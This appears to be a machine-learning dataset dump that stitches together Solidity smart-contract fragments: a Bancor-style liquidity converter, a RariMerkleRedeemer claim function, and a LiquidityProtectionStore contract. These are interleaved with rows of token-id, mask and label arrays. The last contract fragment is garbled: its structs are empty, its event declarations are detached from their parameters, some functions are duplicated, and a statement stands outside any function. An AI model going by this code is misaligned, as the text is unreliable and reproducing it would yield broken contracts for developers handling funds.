IReserveToken[] memory, /* reserves */
uint256[] memory amounts,
uint256[2] memory balances,
uint256 totalSupply
) private pure returns (uint256, uint256[2] memory) {
uint256 index = amounts[0].mul(balances[1]) < amounts[1].mul(balances[0]) ? 0 : 1;
uint256 amount = fundSupplyAmount(totalSupply, balances[index], amounts[index]);
uint256[2] memory newAmounts =
[fundCost(totalSupply, balances[0], amount), fundCost(totalSupply, balances[1], amount)];
return (amount, newAmounts);
}
/**
* @dev decreases the pool's liquidity and burns the caller's shares in the pool
*
* @param amount token amount
* @param reserves address of each reserve token
* @param minReturnAmounts minimum return-amount of each reserve token
*
* @return the amount of each reserve token granted for the given amount of pool tokens
*/
function removeLiquidity(
uint256 amount,
IReserveToken[] memory reserves,
uint256[] memory minReturnAmounts
) external nonReentrant active returns (uint256[] memory) {
// verify the user input
bool inputRearranged = verifyLiquidityInput(reserves, minReturnAmounts, amount);
// save a local copy of the pool token
IDSToken poolToken = IDSToken(address(_anchor));
// get the total supply BEFORE destroying the user tokens
uint256 totalSupply = poolToken.totalSupply();
// destroy the user tokens
poolToken.destroy(msg.sender, amount);
uint256 newPoolTokenSupply = totalSupply.sub(amount);
uint256[2] memory prevReserveBalances;
uint256[2] memory newReserveBalances;
// process the network fees and get the reserve balances
(prevReserveBalances[0], prevReserveBalances[1]) = processNetworkFees(0);
uint256[] memory reserveAmounts = removeLiquidityReserveAmounts(amount, totalSupply, prevReserveBalances);
for (uint256 i = 0; i < 2; i++) {
IReserveToken reserveToken = reserves[i];
uint256 reserveAmount = reserveAmounts[i];
require(reserveAmount >= minReturnAmounts[i], "ERR_ZERO_TARGET_AMOUNT");
// save the new reserve balance
newReserveBalances[i] = prevReserveBalances[i].sub(reserveAmount);
// transfer each one of the reserve amounts from the pool to the user
reserveToken.safeTransfer(msg.sender, reserveAmount);
emit LiquidityRemoved(msg.sender, reserveToken, reserveAmount, newReserveBalances[i], newPoolTokenSupply);
// dispatch the `TokenRateUpdate` event for the pool token
emit TokenRateUpdate(address(poolToken), address(reserveToken), newReserveBalances[i], newPoolTokenSupply);
}
// set the reserve balances
setReserveBalances(1, 2, newReserveBalances[0], newReserveBalances[1]);
// set the reserve balances product
_reserveBalancesProduct = newReserveBalances[0] * newReserveBalances[1];
if (inputRearranged) {
uint256 tempReserveAmount = reserveAmounts[0];
reserveAmounts[0] = reserveAmounts[1];
reserveAmounts[1] = tempReserveAmount;
}
// return the amount of each reserve token granted for the given amount of pool tokens
return reserveAmounts;
}
/**
* @dev given the amount of one of the reserve tokens to add liquidity of,
* returns the required amount of each one of the other reserve tokens
* since an empty pool can be funded with any list of non-zero input amounts,
* this function assumes that the pool is not empty (has already been funded)
*
* @param reserves address of each reserve token
* @param index index of the relevant reserve token
* @param amount amount of the relevant reserve token
*
* @return the required amount of each one of the reserve tokens
*/
function addLiquidityCost(
IReserveToken[] memory reserves,
uint256 index,
uint256 amount
) external view returns (uint256[] memory) {
uint256 totalSupply = IDSToken(address(_anchor)).totalSupply();
uint256[2] memory baseBalances = baseReserveBalances(reserves);
uint256 supplyAmount = fundSupplyAmount(totalSupply, baseBalances[index], amount);
uint256[] memory reserveAmounts = new uint256[](2);
reserveAmounts[0] = fundCost(totalSupply, baseBalances[0], supplyAmount);
reserveAmounts[1] = fundCost(totalSupply, baseBalances[1], supplyAmount);
return reserveAmounts;
}
/**
* @dev returns the amount of pool tokens entitled for given amounts of reserve tokens
* since an empty pool can be funded with any list of non-zero input amounts,
* this function assumes that the pool is not empty (has already been funded)
*
* @param reserves address of each reserve token
* @param amounts amount of each reserve token
*
* @return the amount of pool tokens entitled for the given amounts of reserve tokens
*/
function addLiquidityReturn(IReserveToken[] memory reserves, uint256[] memory amounts)
external
view
returns (uint256)
{
uint256 totalSupply = IDSToken(address(_anchor)).totalSupply();
uint256[2] memory baseBalances = baseReserveBalances(reserves);
(uint256 amount, ) = addLiquidityAmounts(reserves, amounts, baseBalances, totalSupply);
return amount;
}
/**
* @dev returns the amount of each reserve token entitled for a given amount of pool tokens
*
* @param amount amount of pool tokens
* @param reserves address of each reserve token
*
* @return the amount of each reserve token entitled for the given amount of pool tokens
*/
function removeLiquidityReturn(uint256 amount, IReserveToken[] memory reserves)
external
view
returns (uint256[] memory)
{
uint256 totalSupply = IDSToken(address(_anchor)).totalSupply();
uint256[2] memory baseBalances = baseReserveBalances(reserves);
return removeLiquidityReserveAmounts(amount, totalSupply, baseBalances);
}
/**
* @dev verifies that a given array of tokens is identical to the converter's array of reserve tokens
* we take this input in order to allow specifying the corresponding reserve amounts in any order
* this function rearranges the input arrays according to the converter's array of reserve tokens
*
* @param reserves array of reserve tokens
* @param amounts array of reserve amounts
* @param amount token amount
*
* @return true if the function has rearranged the input arrays; false otherwise
*/
function verifyLiquidityInput(
IReserveToken[] memory reserves,
uint256[] memory amounts,
uint256 amount
) private view returns (bool) {
require(validReserveAmounts(amounts) && amount > 0, "ERR_ZERO_AMOUNT");
uint256 reserve0Id = _reserveIds[reserves[0]];
uint256 reserve1Id = _reserveIds[reserves[1]];
if (reserve0Id == 2 && reserve1Id == 1) {
IReserveToken tempReserveToken = reserves[0];
reserves[0] = reserves[1];
reserves[1] = tempReserveToken;
uint256 tempReserveAmount = amounts[0];
amounts[0] = amounts[1];
amounts[1] = tempReserveAmount;
return true;
}
require(reserve0Id == 1 && reserve1Id == 2, "ERR_INVALID_RESERVE");
return false;
}
/**
* @dev checks whether or not both reserve amounts are larger than zero
*
* @param amounts array of reserve amounts
*
* @return true if both reserve amounts are larger than zero; false otherwise
*/
function validReserveAmounts(uint256[] memory amounts) private pure returns (bool) {
return amounts[0] > 0 && amounts[1] > 0;
}
/**
* @dev returns the amount of each reserve token entitled for a given amount of pool tokens
*
* @param amount amount of pool tokens
* @param totalSupply total supply of pool tokens
* @param balances balance of each reserve token
*
* @return the amount of each reserve token entitled for the given amount of pool tokens
*/
function removeLiquidityReserveAmounts(
uint256 amount,
uint256 totalSupply,
uint256[2] memory balances
) private pure returns (uint256[] memory) {
uint256[] memory reserveAmounts = new uint256[](2);
reserveAmounts[0] = liquidateReserveAmount(totalSupply, balances[0], amount);
reserveAmounts[1] = liquidateReserveAmount(totalSupply, balances[1], amount);
return reserveAmounts;
}
/**
* @dev dispatches token rate update events for the reserve tokens and the pool token
*
* @param sourceToken address of the source reserve token
* @param targetToken address of the target reserve token
* @param sourceBalance balance of the source reserve token
* @param targetBalance balance of the target reserve token
*/
function dispatchTokenRateUpdateEvents(
IReserveToken sourceToken,
IReserveToken targetToken,
uint256 sourceBalance,
uint256 targetBalance
) private {
// save a local copy of the pool token
IDSToken poolToken = IDSToken(address(_anchor));
// get the total supply of pool tokens
uint256 poolTokenSupply = poolToken.totalSupply();
// dispatch token rate update event for the reserve tokens
emit TokenRateUpdate(address(sourceToken), address(targetToken), targetBalance, sourceBalance);
// dispatch token rate update events for the pool token
emit TokenRateUpdate(address(poolToken), address(sourceToken), sourceBalance, poolTokenSupply);
emit TokenRateUpdate(address(poolToken), address(targetToken), targetBalance, poolTokenSupply);
}
function encodeReserveBalance(uint256 balance, uint256 id) private pure returns (uint256) {
assert(balance <= MAX_UINT128 && (id == 1 || id == 2));
return balance << ((id - 1) * 128);
}
function decodeReserveBalance(uint256 balances, uint256 id) private pure returns (uint256) {
assert(id == 1 || id == 2);
return (balances >> ((id - 1) * 128)) & MAX_UINT128;
}
function encodeReserveBalances(
uint256 balance0,
uint256 id0,
uint256 balance1,
uint256 id1
) private pure returns (uint256) {
return encodeReserveBalance(balance0, id0) | encodeReserveBalance(balance1, id1);
}
function decodeReserveBalances(
uint256 _balances,
uint256 id0,
uint256 id1
) private pure returns (uint256, uint256) {
return (decodeReserveBalance(_balances, id0), decodeReserveBalance(_balances, id1));
}
function encodeAverageRateInfo(
uint256 averageRateT,
uint256 averageRateN,
uint256 averageRateD
) private pure returns (uint256) {
assert(averageRateT <= MAX_UINT32 && averageRateN <= MAX_UINT112 && averageRateD <= MAX_UINT112);
return (averageRateT << 224) | (averageRateN << 112) | averageRateD;
}
function decodeAverageRateT(uint256 averageRateInfoData) private pure returns (uint256) {
return averageRateInfoData >> 224;
}
function decodeAverageRateN(uint256 averageRateInfoData) private pure returns (uint256) {
return (averageRateInfoData >> 112) & MAX_UINT112;
}
function decodeAverageRateD(uint256 averageRateInfoData) private pure returns (uint256) {
return averageRateInfoData & MAX_UINT112;
}
/**
* @dev returns the largest integer smaller than or equal to the square root of a given value
*
* @param x the given value
*
* @return the largest integer smaller than or equal to the square root of the given value
*/
function floorSqrt(uint256 x) private pure returns (uint256) {
return x > 0 ? MathEx.floorSqrt(x) : 0;
}
function crossReserveTargetAmount(
uint256 sourceReserveBalance,
uint256 targetReserveBalance,
uint256 sourceAmount
) private pure returns (uint256) {
require(sourceReserveBalance > 0 && targetReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
return targetReserveBalance.mul(sourceAmount) / sourceReserveBalance.add(sourceAmount);
}
function crossReserveSourceAmount(
uint256 sourceReserveBalance,
uint256 targetReserveBalance,
uint256 targetAmount
) private pure returns (uint256) {
require(sourceReserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(targetAmount < targetReserveBalance, "ERR_INVALID_AMOUNT");
if (targetAmount == 0) {
return 0;
}
return (sourceReserveBalance.mul(targetAmount) - 1) / (targetReserveBalance - targetAmount) + 1;
}
function fundCost(
uint256 supply,
uint256 balance,
uint256 amount
) private pure returns (uint256) {
require(supply > 0, "ERR_INVALID_SUPPLY");
require(balance > 0, "ERR_INVALID_RESERVE_BALANCE");
// special case for 0 amount
if (amount == 0) {
return 0;
}
return (amount.mul(balance) - 1) / supply + 1;
}
function fundSupplyAmount(
uint256 supply,
uint256 balance,
uint256 amount
) private pure returns (uint256) {
require(supply > 0, "ERR_INVALID_SUPPLY");
require(balance > 0, "ERR_INVALID_RESERVE_BALANCE");
// special case for 0 amount
if (amount == 0) {
return 0;
}
return amount.mul(supply) / balance;
}
function liquidateReserveAmount(
uint256 supply,
uint256 balance,
uint256 amount
) private pure returns (uint256) {
require(supply > 0, "ERR_INVALID_SUPPLY");
require(balance > 0, "ERR_INVALID_RESERVE_BALANCE");
require(amount <= supply, "ERR_INVALID_AMOUNT");
// special case for 0 amount
if (amount == 0) {
return 0;
}
// special case for liquidating the entire supply
if (amount == supply) {
return balance;
}
return amount.mul(balance) / supply;
}
/**
* @dev returns the network wallet and fees
*
* @param reserveBalance0 1st reserve balance
* @param reserveBalance1 2nd reserve balance
*
* @return the network wallet
* @return the network fee on the 1st reserve
* @return the network fee on the 2nd reserve
*/
function networkWalletAndFees(uint256 reserveBalance0, uint256 reserveBalance1)
private
view
returns (
ITokenHolder,
uint256,
uint256
)
{
uint256 prevPoint = floorSqrt(_reserveBalancesProduct);
uint256 currPoint = floorSqrt(reserveBalance0 * reserveBalance1);
if (prevPoint >= currPoint) {
return (ITokenHolder(address(0)), 0, 0);
}
(ITokenHolder networkFeeWallet, uint32 networkFee) =
INetworkSettings(addressOf(NETWORK_SETTINGS)).networkFeeParams();
uint256 n = (currPoint - prevPoint) * networkFee;
uint256 d = currPoint * PPM_RESOLUTION;
return (networkFeeWallet, reserveBalance0.mul(n).div(d), reserveBalance1.mul(n).div(d));
}
/**
* @dev deprecated since version 28, backward compatibility - use only for earlier versions
*/
function token() external view override returns (IConverterAnchor) {
return _anchor;
}
/**
* @dev deprecated, backward compatibility
*/
function transferTokenOwnership(address newOwner) external override ownerOnly {
transferAnchorOwnership(newOwner);
}
/**
* @dev deprecated, backward compatibility
*/
function acceptTokenOwnership() public override ownerOnly {
acceptAnchorOwnership();
}
/**
* @dev deprecated, backward compatibility
*/
function connectors(IReserveToken reserveToken)
external
view
override
returns (
uint256,
uint32,
bool,
bool,
bool
)
{
uint256 reserveId = _reserveIds[reserveToken];
if (reserveId != 0) {
return (reserveBalance(reserveId), PPM_RESOLUTION / 2, false, false, true);
}
return (0, 0, false, false, false);
}
/**
* @dev deprecated, backward compatibility
*/
function connectorTokens(uint256 index) external view override returns (IReserveToken) {
return _reserveTokens[index];
}
/**
* @dev deprecated, backward compatibility
*/
function connectorTokenCount() external view override returns (uint16) {
return reserveTokenCount();
}
/**
* @dev deprecated, backward compatibility
*/
function getConnectorBalance(IReserveToken reserveToken) external view override returns (uint256) {
return reserveBalance(reserveToken);
}
/**
* @dev deprecated, backward compatibility
*/
function getReturn(
IReserveToken sourceToken,
IReserveToken targetToken,
uint256 sourceAmount
) external view returns (uint256, uint256) {
return targetAmountAndFee(sourceToken, targetToken, sourceAmount);
}
}
| special case for 0 amount | function fundCost(
uint256 supply,
uint256 balance,
uint256 amount
) private pure returns (uint256) {
require(supply > 0, "ERR_INVALID_SUPPLY");
require(balance > 0, "ERR_INVALID_RESERVE_BALANCE");
if (amount == 0) {
return 0;
}
return (amount.mul(balance) - 1) / supply + 1;
}
| 12,547,229 | [
1,
9371,
648,
364,
374,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
284,
1074,
8018,
12,
203,
3639,
2254,
5034,
14467,
16,
203,
3639,
2254,
5034,
11013,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
3238,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
2859,
1283,
405,
374,
16,
315,
9712,
67,
9347,
67,
13272,
23893,
8863,
203,
3639,
2583,
12,
12296,
405,
374,
16,
315,
9712,
67,
9347,
67,
862,
2123,
3412,
67,
38,
1013,
4722,
8863,
203,
203,
3639,
309,
261,
8949,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
327,
261,
8949,
18,
16411,
12,
12296,
13,
300,
404,
13,
342,
14467,
397,
404,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xCAe4210e6676727EA4e0fD9BA5dFb95831356a16/sources/RariMerkleRedeemer.sol | User provides the cTokens & the amounts they should get, and it is verified against the merkle root for that cToken (for each cToken provided) Should set the user's claim amount in the claims mapping for each cToken provided | function _multiClaim(
address[] calldata _cTokens,
uint256[] calldata _amounts,
bytes32[][] calldata _merkleProofs
) internal virtual {
require(_cTokens.length == _amounts.length, "Number of cTokens and amounts must match");
require(_cTokens.length == _merkleProofs.length, "Number of cTokens and merkle proofs must match");
for (uint256 i = 0; i < _cTokens.length; i++) {
_claim(_cTokens[i], _amounts[i], _merkleProofs[i]);
}
| 11,006,374 | [
1,
1299,
8121,
326,
276,
5157,
473,
326,
30980,
2898,
1410,
336,
16,
471,
518,
353,
13808,
5314,
326,
30235,
1365,
364,
716,
276,
1345,
261,
1884,
1517,
276,
1345,
2112,
13,
9363,
444,
326,
729,
1807,
7516,
3844,
316,
326,
11955,
2874,
364,
1517,
276,
1345,
2112,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
7027,
9762,
12,
203,
3639,
1758,
8526,
745,
892,
389,
71,
5157,
16,
203,
3639,
2254,
5034,
8526,
745,
892,
389,
8949,
87,
16,
203,
3639,
1731,
1578,
63,
6362,
65,
745,
892,
389,
6592,
15609,
20439,
87,
203,
565,
262,
2713,
5024,
288,
203,
3639,
2583,
24899,
71,
5157,
18,
2469,
422,
389,
8949,
87,
18,
2469,
16,
315,
1854,
434,
276,
5157,
471,
30980,
1297,
845,
8863,
203,
3639,
2583,
24899,
71,
5157,
18,
2469,
422,
389,
6592,
15609,
20439,
87,
18,
2469,
16,
315,
1854,
434,
276,
5157,
471,
30235,
14601,
87,
1297,
845,
8863,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
71,
5157,
18,
2469,
31,
277,
27245,
288,
203,
5411,
389,
14784,
24899,
71,
5157,
63,
77,
6487,
389,
8949,
87,
63,
77,
6487,
389,
6592,
15609,
20439,
87,
63,
77,
19226,
203,
3639,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xf5FAB5DBD2f3bf675dE4cB76517d4767013cfB55/sources/LiquidityProtectionStore.sol | * @dev The Liquidity Protection Store contract serves as the storage of the liquidity protection mechanism. It holds the data and tokens and is non upgradable./ | contract LiquidityProtectionStore is ILiquidityProtectionStore, Owned, TokenHandler, Utils {
using SafeMath for uint256;
struct PoolIndex {
bool isValid;
uint256 value;
}
struct ProtectedLiquidity {
}
struct LockedBalance {
}
mapping(IConverterAnchor => PoolIndex) private poolWhitelistIndices;
mapping (address => uint256[]) private protectedLiquidityIdsByProvider;
mapping (uint256 => ProtectedLiquidity) private protectedLiquidities;
mapping (IDSToken => mapping (IERC20Token => uint256)) private totalProtectedReserveAmounts;
IConverterAnchor indexed _poolAnchor,
bool _added
);
address indexed _provider,
IDSToken indexed _poolToken,
IERC20Token indexed _reserveToken,
uint256 _poolAmount,
uint256 _reserveAmount
);
address indexed _provider,
uint256 _prevPoolAmount,
uint256 _prevReserveAmount,
uint256 _newPoolAmount,
uint256 _newReserveAmount
);
address indexed _provider,
IDSToken indexed _poolToken,
IERC20Token indexed _reserveToken,
uint256 _poolAmount,
uint256 _reserveAmount
);
address indexed _provider,
uint256 _amount,
uint256 _expirationTime
);
address indexed _provider,
uint256 _amount
);
IERC20Token _token,
uint256 _prevAmount,
uint256 _newAmount
);
IConverterAnchor[] private poolWhitelist;
uint256 private nextProtectedLiquidityId;
mapping (address => LockedBalance[]) private lockedBalances;
mapping (IERC20Token => uint256) private systemBalances;
mapping (IDSToken => uint256) private totalProtectedPoolAmounts;
event PoolWhitelistUpdated(
event ProtectionAdded(
event ProtectionUpdated(
event ProtectionRemoved(
event BalanceLocked(
event BalanceUnlocked(
event SystemBalanceUpdated(
function addPoolToWhitelist(IConverterAnchor _poolAnchor)
external
override
ownerOnly
validAddress(address(_poolAnchor))
notThis(address(_poolAnchor))
{
PoolIndex storage poolIndex = poolWhitelistIndices[_poolAnchor];
require(!poolIndex.isValid, "ERR_POOL_ALREADY_WHITELISTED");
poolIndex.value = poolWhitelist.length;
poolWhitelist.push(_poolAnchor);
poolIndex.isValid = true;
emit PoolWhitelistUpdated(_poolAnchor, true);
}
function removePoolFromWhitelist(IConverterAnchor _poolAnchor)
external
override
ownerOnly
validAddress(address(_poolAnchor))
notThis(address(_poolAnchor))
{
PoolIndex storage poolIndex = poolWhitelistIndices[_poolAnchor];
require(poolIndex.isValid, "ERR_POOL_NOT_WHITELISTED");
uint256 index = poolIndex.value;
uint256 length = poolWhitelist.length;
assert(length > 0);
uint256 lastIndex = length - 1;
if (index < lastIndex) {
IConverterAnchor lastAnchor = poolWhitelist[lastIndex];
poolWhitelistIndices[lastAnchor].value = index;
poolWhitelist[index] = lastAnchor;
}
poolWhitelist.pop();
delete poolWhitelistIndices[_poolAnchor];
emit PoolWhitelistUpdated(_poolAnchor, false);
}
function removePoolFromWhitelist(IConverterAnchor _poolAnchor)
external
override
ownerOnly
validAddress(address(_poolAnchor))
notThis(address(_poolAnchor))
{
PoolIndex storage poolIndex = poolWhitelistIndices[_poolAnchor];
require(poolIndex.isValid, "ERR_POOL_NOT_WHITELISTED");
uint256 index = poolIndex.value;
uint256 length = poolWhitelist.length;
assert(length > 0);
uint256 lastIndex = length - 1;
if (index < lastIndex) {
IConverterAnchor lastAnchor = poolWhitelist[lastIndex];
poolWhitelistIndices[lastAnchor].value = index;
poolWhitelist[index] = lastAnchor;
}
poolWhitelist.pop();
delete poolWhitelistIndices[_poolAnchor];
emit PoolWhitelistUpdated(_poolAnchor, false);
}
function whitelistedPoolCount() external view returns (uint256) {
return poolWhitelist.length;
}
function whitelistedPools() external view returns (IConverterAnchor[] memory) {
return poolWhitelist;
}
function whitelistedPool(uint256 _index) external view returns (IConverterAnchor) {
return poolWhitelist[_index];
}
function isPoolWhitelisted(IConverterAnchor _poolAnchor) external view override returns (bool) {
return poolWhitelistIndices[_poolAnchor].isValid;
}
function withdrawTokens(IERC20Token _token, address _to, uint256 _amount)
external
override
ownerOnly
validAddress(_to)
notThis(_to)
{
safeTransfer(_token, _to, _amount);
}
function protectedLiquidityCount(address _provider) external view returns (uint256) {
return protectedLiquidityIdsByProvider[_provider].length;
}
function protectedLiquidityIds(address _provider) external view returns (uint256[] memory) {
return protectedLiquidityIdsByProvider[_provider];
}
function protectedLiquidityId(address _provider, uint256 _index) external view returns (uint256) {
return protectedLiquidityIdsByProvider[_provider][_index];
}
function protectedLiquidity(uint256 _id)
external
view
override
returns (address, IDSToken, IERC20Token, uint256, uint256, uint256, uint256, uint256)
{
ProtectedLiquidity storage liquidity = protectedLiquidities[_id];
return (
liquidity.provider,
liquidity.poolToken,
liquidity.reserveToken,
liquidity.poolAmount,
liquidity.reserveAmount,
liquidity.reserveRateN,
liquidity.reserveRateD,
liquidity.timestamp
);
}
function addProtectedLiquidity(
address _provider,
IDSToken _poolToken,
IERC20Token _reserveToken,
uint256 _poolAmount,
uint256 _reserveAmount,
uint256 _reserveRateN,
uint256 _reserveRateD,
uint256 _timestamp
) external override ownerOnly returns (uint256) {
require(
_provider != address(0) &&
_provider != address(this) &&
address(_poolToken) != address(0) &&
address(_poolToken) != address(this) &&
address(_reserveToken) != address(0) &&
address(_reserveToken) != address(this),
"ERR_INVALID_ADDRESS"
);
require(
_poolAmount > 0 &&
_reserveAmount > 0 &&
_reserveRateN > 0 &&
_reserveRateD > 0 &&
_timestamp > 0,
"ERR_ZERO_VALUE"
);
uint256[] storage ids = protectedLiquidityIdsByProvider[_provider];
uint256 id = nextProtectedLiquidityId;
nextProtectedLiquidityId += 1;
protectedLiquidities[id] = ProtectedLiquidity({
provider: _provider,
index: ids.length,
poolToken: _poolToken,
reserveToken: _reserveToken,
poolAmount: _poolAmount,
reserveAmount: _reserveAmount,
reserveRateN: _reserveRateN,
reserveRateD: _reserveRateD,
timestamp: _timestamp
});
ids.push(id);
totalProtectedReserveAmounts[_poolToken][_reserveToken] = totalProtectedReserveAmounts[_poolToken][_reserveToken].add(_reserveAmount);
emit ProtectionAdded(_provider, _poolToken, _reserveToken, _poolAmount, _reserveAmount);
return id;
}
function addProtectedLiquidity(
address _provider,
IDSToken _poolToken,
IERC20Token _reserveToken,
uint256 _poolAmount,
uint256 _reserveAmount,
uint256 _reserveRateN,
uint256 _reserveRateD,
uint256 _timestamp
) external override ownerOnly returns (uint256) {
require(
_provider != address(0) &&
_provider != address(this) &&
address(_poolToken) != address(0) &&
address(_poolToken) != address(this) &&
address(_reserveToken) != address(0) &&
address(_reserveToken) != address(this),
"ERR_INVALID_ADDRESS"
);
require(
_poolAmount > 0 &&
_reserveAmount > 0 &&
_reserveRateN > 0 &&
_reserveRateD > 0 &&
_timestamp > 0,
"ERR_ZERO_VALUE"
);
uint256[] storage ids = protectedLiquidityIdsByProvider[_provider];
uint256 id = nextProtectedLiquidityId;
nextProtectedLiquidityId += 1;
protectedLiquidities[id] = ProtectedLiquidity({
provider: _provider,
index: ids.length,
poolToken: _poolToken,
reserveToken: _reserveToken,
poolAmount: _poolAmount,
reserveAmount: _reserveAmount,
reserveRateN: _reserveRateN,
reserveRateD: _reserveRateD,
timestamp: _timestamp
});
ids.push(id);
totalProtectedReserveAmounts[_poolToken][_reserveToken] = totalProtectedReserveAmounts[_poolToken][_reserveToken].add(_reserveAmount);
emit ProtectionAdded(_provider, _poolToken, _reserveToken, _poolAmount, _reserveAmount);
return id;
}
totalProtectedPoolAmounts[_poolToken] = totalProtectedPoolAmounts[_poolToken].add(_poolAmount);
function updateProtectedLiquidityAmounts(uint256 _id, uint256 _newPoolAmount, uint256 _newReserveAmount)
external
override
ownerOnly
greaterThanZero(_newPoolAmount)
greaterThanZero(_newReserveAmount)
{
ProtectedLiquidity storage liquidity = protectedLiquidities[_id];
address provider = liquidity.provider;
require(provider != address(0), "ERR_INVALID_ID");
IDSToken poolToken = liquidity.poolToken;
IERC20Token reserveToken = liquidity.reserveToken;
uint256 prevPoolAmount = liquidity.poolAmount;
uint256 prevReserveAmount = liquidity.reserveAmount;
liquidity.poolAmount = _newPoolAmount;
liquidity.reserveAmount = _newReserveAmount;
totalProtectedPoolAmounts[poolToken] = totalProtectedPoolAmounts[poolToken].add(_newPoolAmount).sub(prevPoolAmount);
totalProtectedReserveAmounts[poolToken][reserveToken] = totalProtectedReserveAmounts[poolToken][reserveToken].add(_newReserveAmount).sub(prevReserveAmount);
emit ProtectionUpdated(provider, prevPoolAmount, prevReserveAmount, _newPoolAmount, _newReserveAmount);
}
function removeProtectedLiquidity(uint256 _id) external override ownerOnly {
ProtectedLiquidity storage liquidity = protectedLiquidities[_id];
address provider = liquidity.provider;
require(provider != address(0), "ERR_INVALID_ID");
uint256 index = liquidity.index;
IDSToken poolToken = liquidity.poolToken;
IERC20Token reserveToken = liquidity.reserveToken;
